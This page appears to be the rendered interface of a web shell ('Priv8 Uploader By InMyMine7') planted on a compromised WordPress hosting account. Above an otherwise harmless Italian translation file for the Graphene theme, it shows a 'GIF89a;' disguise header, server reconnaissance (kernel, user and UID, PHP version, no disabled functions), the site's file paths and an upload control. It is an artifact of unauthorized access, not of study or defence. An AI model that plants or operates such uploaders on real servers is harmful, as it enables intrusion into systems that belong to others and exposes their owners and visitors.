GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/it_IT.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2010-09-01 00:26+1200\n"
"PO-Revision-Date: 2010-09-01 11:38+0100\n"
"Last-Translator: Roberto Rota <mail@tevac.com>\n"
"Language-Team: ZigoZago <zigorob@gmail.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-Language: Italian\n"
"X-Poedit-Country: ITALY\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n"
"X-Poedit-Basepath: D:/[[MyVault]]/MyProjects/[Websites]/wordpress-theme-test/site/wp-content/themes/graphene/\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"

#: author.php:32
msgid "Author's posts listings"
msgstr "Lista post dell'Autore"

# @ graphene
#: comments.php:18
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Questo contenuto è protetto da Password, per visualizzarlo è necessaria l'autorizzazione."

# @ graphene
#: comments.php:36
msgid "No comment yet"
msgstr "Ancora nessun commento"

# @ graphene
#: comments.php:36
#: loop-author.php:54
#: loop.php:82
msgid "1 comment"
msgstr "1 commento"

# @ graphene
#: comments.php:36
#: loop-author.php:54
#: loop.php:82
#, php-format
msgid "% comments"
msgstr "% commenti"

# @ graphene
#: comments.php:65
msgid "Your email address will not be published."
msgstr "Il tuo indirizzo mail non sarà pubblicato!"

# @ graphene
#: comments.php:66
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Puoi usare i seguenti tag <abbr title=\"Hyper Text Markup Language\">HTML</abbr>: %s"

# @ graphene
#: comments.php:68
#: functions.php:670
msgid "Submit Comment"
msgstr "Invia Commento"

# @ graphene
#: footer.php:24
msgid "Except where otherwise noted, content on this site is licensed under a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licence</a>."
msgstr "Eccetto dove diversamente specificato, i contenuti di questo sito sono coperti da <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/deed.pt_BR/\" target=\"_blank\">Licenza Creative Commons</a>."

# @ graphene
#: footer.php:30
msgid "Valid XHTML 1.0 Strict"
msgstr "XHTML 1.0 Strict Valido"

# @ graphene
#: footer.php:31
msgid "Valid CSS"
msgstr "CSS Valido"

# @ graphene
#: footer.php:31
msgid "Valid CSS Level 2.1"
msgstr "CSS 2.1 Valido"

# @ graphene
#: footer.php:52
#, php-format
msgid "%1$s uses %2$s theme by %3$s."
msgstr "%1$s usa il tema %2$s di %3$s."

# @ graphene
#: functions.php:100
msgid "Header Menu"
msgstr "Menu Header"

# @ graphene
#: functions.php:144
msgid "Header image by Syahir Hakim"
msgstr "Immagine testata di Syahir Hakim"

# @ graphene
#: functions.php:150
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Questa è l'immagine predefinita della testata del tema, ritagliata da Quantin Houyoux su sxc.hu"

# @ graphene
#: functions.php:156
#: functions.php:162
#: functions.php:168
#: functions.php:174
#: functions.php:180
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Immagine testata ritagliata da Ilco su sxc.hu"

# @ graphene
#: functions.php:365
msgid "Home"
msgstr "Home"

# @ graphene
#: functions.php:385
msgid " says:"
msgstr " scrive:"

# @ ksv3
#: functions.php:389
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s a %2$s"

# @ graphene
#: functions.php:391
msgid "Edit comment"
msgstr "Modifica commento"

# @ ksv3
#: functions.php:392
msgid "Reply"
msgstr "Rispondi"

# @ default
#: functions.php:396
msgid "Your comment is awaiting moderation."
msgstr "Commento in attesa di moderazione..."

# @ graphene
#: functions.php:459
msgid "Sidebar Widget Area"
msgstr "Area Widget Sidebar"

# @ graphene
#: functions.php:461
msgid "The right sidebar widget area."
msgstr "Area widget Sidebar destra"

# @ graphene
#: functions.php:469
msgid "Footer Widget Area"
msgstr "Area Widget Piè di Pagina"

#: functions.php:471
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Area Widget Piè di Pagina. Lascia vuota per disabilitarla. Imposta il numero di colonne da visualizzare nella pagina Opzioni di Visualizzazione del tema."

# @ graphene
#: functions.php:487
msgid "Front Page Sidebar Widget Area"
msgstr "Area Widget Sidebar pagina principale"

#: functions.php:489
msgid "The right sidebar widget area that will only be displayed on the front page."
msgstr "L'area widget della sidebar di destra sarà visualizzata solo nella pagina principale."

# @ graphene
#: functions.php:499
msgid "Front Page Footer Widget Area"
msgstr "Area Widget Piè di Pagina pagina principale"

#: functions.php:501
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "L'Area Widget nel Piè di Pagina verrà mostrata solo nella pagina principale. Lascia vuota per disabilitarla. Imposta il numero di colonne da visualizzare nella pagina Opzioni di Visualizzazione del tema."

# @ graphene
#: functions.php:550
msgid "Follow me on Twitter"
msgstr "Seguimi su Twitter"

# @ graphene
#: functions.php:588
msgid "Latest tweets"
msgstr "Ultimo tweets"

# @ graphene
#: functions.php:593
msgid "Title:"
msgstr "Titolo:"

# @ graphene
#: functions.php:597
msgid "Twitter Username:"
msgstr "Twitter Username:"

# @ graphene
#: functions.php:601
msgid "Number of tweets to display:"
msgstr "Numero di tweets da mostrare:"

# @ graphene
#: functions.php:633
msgid "Graphene Options"
msgstr "Opzioni Graphene"

# @ graphene
#: functions.php:634
msgid "Graphene Display"
msgstr "Visualizzazione Graphene"

# @ graphene
#: functions.php:656
msgid "Name:"
msgstr "Nome:"

# @ graphene
#: functions.php:657
msgid "Email:"
msgstr "Mail:"

# @ graphene
#: functions.php:658
msgid "Website:"
msgstr "Sito web:"

# @ graphene
#: functions.php:665
msgid "Message:"
msgstr "Messaggio:"

#: functions.php:688
msgid "Continue reading &raquo;"
msgstr "Continua la lettura &raquo;"

# @ graphene
#: header.php:52
msgid "Subscribe to RSS feed"
msgstr "Sottoscrivi RSS"

#: loop-author.php:15
msgid "Author's details"
msgstr "Dettagli sull'autore"

# @ graphene
#: loop-author.php:17
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Nome:</strong> %1$s %2$s"

# @ graphene
#: loop-author.php:18
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Data di registrazione:</strong> %1$s"

#: loop-author.php:26
msgid "Biography"
msgstr "Biografia"

# @ graphene
#: loop-author.php:35
msgid "Latest posts"
msgstr "Ultimi post"

# @ graphene
#: loop-author.php:41
#: loop-author.php:54
#: loop.php:23
#: search-404.php:24
#, php-format
msgid "Permalink Link to %s"
msgstr "PermaLink per %s"

# @ graphene
#: loop-author.php:41
#: loop-author.php:54
#: loop.php:23
msgid "(No title)"
msgstr "(senza titolo)"

# @ graphene
#: loop-author.php:46
msgid "Most commented posts"
msgstr "Post più commentati"

# @ graphene
#: loop-author.php:54
#: loop.php:82
msgid "Leave comment"
msgstr "Scrivi un tuo commento"

#: loop.php:42
msgid "by"
msgstr "di"

# @ graphene
#: loop.php:44
msgid "Edit post"
msgstr "Modifica"

# @ graphene
#: loop.php:59
msgid "Read the rest of this entry &raquo;"
msgstr "Leggi tutto &raquo;"

# @ graphene
#: loop.php:63
msgid "<p><strong>Pages:</strong> "
msgstr "<p><strong>Pagine:</strong> "

# @ graphene
#: loop.php:70
msgid "Tags: "
msgstr "Tags: "

# @ graphene
#: loop.php:70
msgid "This post has no tag"
msgstr "Nessun tag per questo post"

# @ graphene
#: loop.php:104
msgid "Older posts &laquo;"
msgstr "Post precedenti &laquo;"

# @ graphene
#: loop.php:105
msgid "&raquo; Newer posts"
msgstr "&raquo; Post successivi"

# @ graphene
#: loop.php:112
msgid "Not found"
msgstr "Non trovato..."

# @ graphene
#: loop.php:117
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Spiacente, forse stai cercando qualcosa che non c'è. Prova ancora con altri termini di ricerca..."

# @ graphene
#: loop.php:119
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Spiacente ma la ricerca non ha prodotto risultati. Prova ancora con altri termini di ricerca..."

# @ graphene
#: search-404.php:3
msgid "Error 404 - Page Not Found"
msgstr "Errore 404 - Pagina non trovata"

# @ graphene
#: search-404.php:5
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Spiacente, ho cercato ovunque ma la pagina che cerchi non la trovo, forse è inesistente!"

# @ graphene
#: search-404.php:6
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Se hai seguito un link da un altro sito, forse ho rimosso o rinominato la pagina che cercavi. Ti consiglio di provare a cercare la pagina:"

# @ graphene
#: search-404.php:14
msgid "Suggested results"
msgstr "Risultati consigliati"

# @ graphene
#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Ho effettuato per te una ricerca con il termine <strong>%s</strong>. Guarda tra i risultati se trovi ciò che stai cercando..."

# @ graphene
#: search-404.php:37
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "Mi spiace ma non trovo nulla. Prova ancora con altri termini di ricerca nel modulo qui sopra."

# @ graphene
#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Cerca"

# @ graphene
#: sidebar.php:31
msgid "Archives"
msgstr "Archivi"

# @ graphene
#: sidebar.php:38
msgid "Meta"
msgstr "Meta"

# @ graphene
#: sidebar.php:43
msgid "Posts RSS"
msgstr "Posts RSS"

# @ graphene
#: sidebar.php:44
msgid "Comments RSS"
msgstr "Commenti RSS"

# @ graphene
#: sidebar.php:46
#, php-format
msgid "Powered by %s"
msgstr "Scritto da %s"

# @ graphene
#: sidebar.php:46
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Powered by WordPress."

#: admin/display.php:51
msgid "Please enter only numerical value for the footer widget column count."
msgstr "Inserisci solo valori numerici per il numero di colonne nei widget a piè di pagina."

#: admin/display.php:60
msgid "Please enter only numerical value for the front page footer widget column count."
msgstr "Inserisci solo valori numerici per il numero di colonne nei widget della pagina principale."

#: admin/display.php:70
msgid "Please enter only numerical value for the navigation menu dropdown item width."
msgstr "Inserisci solo valori numerici per la larghezza  contenuto dei menu di navigazione a discesa."

#: admin/display.php:116
#: admin/options.php:101
msgid "Settings updated."
msgstr "Impostazioni aggiornate."

# @ graphene
#: admin/display.php:163
msgid "Graphene Display Options"
msgstr "Opzioni Visualizzazione Graphene"

#: admin/display.php:169
#: admin/options.php:145
msgid "ERROR:"
msgstr "ERRORE:"

#: admin/display.php:191
msgid "Header Display Options"
msgstr "Opzioni di visualizzazione della testata"

#: admin/display.php:195
msgid "Use light-coloured header bars"
msgstr "Usa la barra di colore chiaro nella testata"

#: admin/display.php:203
msgid "Posts Display Options"
msgstr "Opzioni di visualizzazione dei post"

# @ graphene
#: admin/display.php:207
msgid "Hide post author"
msgstr "Nascondi l'autore dei post"

#: admin/display.php:213
msgid "Hide post date"
msgstr "Nascondi la data nei post"

#: admin/display.php:219
msgid "Hide post categories"
msgstr "Nascondi la categoria nei post"

#: admin/display.php:225
msgid "Hide post tags"
msgstr "Nascondi i tag nei post"

#: admin/display.php:231
msgid "Hide post comment count"
msgstr "Nascondi il numero dei commenti nei post"

#: admin/display.php:232
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Influisce solamente nelle liste di post (come la pagina principale) e non nella visualizzazione dei singoli post"

#: admin/display.php:237
msgid "Show post author's gravatar"
msgstr "Mostra il Gravatar dell'autore del post"

# @ graphene
#: admin/display.php:243
msgid "Text Style Options"
msgstr "Opzioni stile testo"

#: admin/display.php:244
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Si noti che queste sono proprietà CSS, è possibile utilizzare tutti i valori CSS validi per ogni proprietà."

#: admin/display.php:245
msgid "Some example CSS properties values:"
msgstr "Alcuni esempi di proprietà CSS:"

#: admin/display.php:248
msgid "Text font:"
msgstr "Carattere testo:"

#: admin/display.php:249
msgid "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, <code>'Trebuchet MS'</code>"
msgstr "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, <code>'Trebuchet MS'</code>"

#: admin/display.php:252
msgid "Text size and line height:"
msgstr "Dimensione e interlinea del testo:"

#: admin/display.php:253
msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#: admin/display.php:256
msgid "Text weight:"
msgstr "Spessore testo:"

#: admin/display.php:257
msgid "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
msgstr "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#: admin/display.php:260
msgid "Text style:"
msgstr "Stile testo:"

#: admin/display.php:261
msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>"

#: admin/display.php:264
msgid "Text colour:"
msgstr "Colore Testo:"

#: admin/display.php:265
msgid "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</code>"
msgstr "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</code>"

#: admin/display.php:268
#: admin/display.php:366
#: admin/display.php:388
msgid "Leave field empty to use the default value."
msgstr "Lascia il campo vuoto per usare i valori di default."

# @ graphene
#: admin/display.php:269
msgid "Header Text"
msgstr "Testo Intestazione"

#: admin/display.php:273
msgid "Title text font"
msgstr "Carattere testo del Titolo"

#: admin/display.php:279
msgid "Title text size"
msgstr "Dimensione testo del Titolo"

#: admin/display.php:285
msgid "Title text weight"
msgstr "Spessore testo del Titolo"

#: admin/display.php:291
msgid "Title text line height"
msgstr "Interlinea testo del Titolo"

#: admin/display.php:297
msgid "Title text style"
msgstr "Stile testo del Titolo"

#: admin/display.php:306
msgid "Description text font"
msgstr "Carattere testo della Descrizione"

#: admin/display.php:312
msgid "Description text size"
msgstr "Dimensione testo della Descrizione"

#: admin/display.php:318
msgid "Description text weight"
msgstr "Spessore testo della Descrizione"

#: admin/display.php:324
msgid "Description text line height"
msgstr "Interlinea testo della Descrizione"

#: admin/display.php:330
msgid "Description text style"
msgstr "Stile testo della Descrizione"

#: admin/display.php:335
msgid "Content Text"
msgstr "Testo del contenuto"

#: admin/display.php:339
msgid "Text font"
msgstr "Carattere testo"

#: admin/display.php:345
msgid "Text size"
msgstr "Dimensione testo"

#: admin/display.php:351
msgid "Text line height"
msgstr "Interlinea testo"

#: admin/display.php:357
msgid "Text colour"
msgstr "Colore testo"

# @ graphene
#: admin/display.php:365
msgid "Footer Widget Display Options"
msgstr "Opzioni Visualizzazione Widget Piè di Pagina"

# @ graphene
#: admin/display.php:371
msgid "Number of columns to display"
msgstr "Numero di colonne da mostrare"

#: admin/display.php:378
msgid "Number of columns to display for front page footer widget"
msgstr "Numero di colonne da visualizzare per i widget a piè di pagina della pagina principale"

#: admin/display.php:387
msgid "Navigation Menu Display Options"
msgstr "Opzioni del menu di navigazione"

#: admin/display.php:393
msgid "Dropdown menu item width"
msgstr "Larghezza del menu a discesa"

# @ graphene
#: admin/display.php:402
#: admin/options.php:262
msgid "Update Settings"
msgstr "Aggiorna Impostazioni"

#: admin/options.php:24
msgid "You must enter your Adsense code to enable Adsense advertising"
msgstr "Devi inserire il tuo codice Adsense per attivare gli annunci Adsense."

#: admin/options.php:39
msgid "You must enter your AddThis button code to enable the AddThis social sharing button"
msgstr "Devi inserire il tuo codice AddThis per attivare il pulsante AddThis."

#: admin/options.php:53
msgid "You must enter your Google Analytics tracking code to enable Google Analytics tracking."
msgstr "Devi inserire il tuo codice di tracciamento Google Analytics per attivare Google Analytics."

# @ graphene
#: admin/options.php:139
msgid "Graphene Theme Options"
msgstr "Opzioni Tema Graphene"

# @ graphene
#: admin/options.php:164
msgid "Adsense Options"
msgstr "Opzioni Adsense"

# @ graphene
#: admin/options.php:171
msgid "Show Adsense advertising"
msgstr "Mostra annunci Adsense"

#: admin/options.php:177
msgid "Show ads on front page as well"
msgstr "Mostra annunci sulla pagina principale"

# @ graphene
#: admin/options.php:183
msgid "Your Adsense code"
msgstr "Il tuo codice Adsense"

# @ graphene
#: admin/options.php:192
msgid "AddThis Options"
msgstr "Opzioni AddThis"

# @ graphene
#: admin/options.php:195
msgid "Show AddThis social sharing button"
msgstr "Mostra pulsante AddThis"

# @ graphene
#: admin/options.php:200
msgid "Your AddThis button code"
msgstr "Codice pulsante AddThis"

#: admin/options.php:201
msgid "You can generate your button code from the <a href=\"http://www.addthis.com/\">AddThis website</a>."
msgstr "Puoi generare il codice del tuo pulsante sul <a href=\"http://www.addthis.com/\">sito web di AddThis</a>."

# @ graphene
#: admin/options.php:209
msgid "Google Analytics Options"
msgstr "Opzioni Google Analytics"

# @ graphene
#: admin/options.php:212
msgid "Enable Google Analytics tracking"
msgstr "Abilita tracciamento Google Analytics"

# @ graphene
#: admin/options.php:216
msgid "Google Analytics tracking code"
msgstr "Codice Google Analytics"

#: admin/options.php:217
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Accertati di includere il codice completo di tracciamento (inclusi i <code>&lt;script&gt;</code> e <code>&lt;/script&gt;</code> tag) e non solo il codice <code>UA-#######-#</code>."

# @ graphene
#: admin/options.php:225
msgid "Widget Area Options"
msgstr "Opzioni Area Widget"

#: admin/options.php:226
msgid "Alternate Widgets"
msgstr "Widget Alternativi"

#: admin/options.php:227
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Puoi configurare il tema per visualizzare differenti Aree Widget nella pagina principale e nel resto dei sito. Se abiliti questa opzione, delle Aree Widget addizionali, che verranno visualizzate solo nella pagina principale, saranno aggiunte nella pagina di amministrazione Widget"

#: admin/options.php:230
msgid "Enable alternate front page sidebar widget area"
msgstr "Abilita l'Area alternativa Widget nella Sidebar della pagina principale"

#: admin/options.php:234
msgid "Enable alternate front page footer widget area"
msgstr "Abilita l'Area alternativa Widget nel Piè di Pagina della pagina principale"

#: admin/options.php:235
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Se si abilita questa opzione, è possibile specificare numeri di colonna differenti per i Widget a Piè di Pagina della pagina principale e del resto del sito."

# @ graphene
#: admin/options.php:243
msgid "Footer Options"
msgstr "Opzioni Piè di Pagina"

# @ graphene
#: admin/options.php:246
msgid "Show Creative Commons logo"
msgstr "Mostra Logo Creative Commons"

# @ graphene
#: admin/options.php:251
msgid "Copyright text (html allowed)"
msgstr "Testo Copyright (HTML permesso)"

# @ graphene
#: admin/options.php:252
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Se il campo è vuoto, viene mostrato di default il copyright visualizzato:"

# @ graphene
#: admin/options.php:268
msgid "Support the developer"
msgstr "Supporta lo sviluppatore"

# @ graphene
#: admin/options.php:269
msgid "Developing this awesome theme took a lot of effort and time, weeks and weeks of voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Sviluppando questo tema ho impiegato molto tempo e fatica, settimane e settimane di lavoro volontario non retribuito. Se ti piace questo tema o se lo stai usando per siti web commerciali, sei pregato di prendere in considerazione una donazione allo sviluppatore per contribuire e sostenere i futuri aggiornamenti e sviluppi. Grazie..."

# @ graphene
#: admin/options.php:279
msgid "Uninstall theme"
msgstr "Disinstalla Tema"

# @ graphene
#: admin/options.php:280
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>ATTENZIONE</strong> La disinstallazione del Tema rimuoverà per sempre tutte le opzioni del tema dal Database. Rimuovi il tema Graphene solo se sei sicuro di quello che fai."

# @ graphene
#: admin/options.php:281
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page."
msgstr "Se vuoi provare/testare altri temi, non serve rimuovere questo. Puoi cambiare/attivare un nuovo tema in Aspetto > Temi del pannello di amministrazione di WordPress."

# @ graphene
#: admin/options.php:282
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there."
msgstr "Si noti che la disinstallazione del tema, non rimuove definitivamente il tema dal server. Per eliminare tutto, si deve disinstallare il tema da Aspetto > Temi nel pannello di amministrazione di WordPress."

# @ graphene
#: admin/options.php:285
msgid "Uninstall Theme"
msgstr "Disinstalla Tema"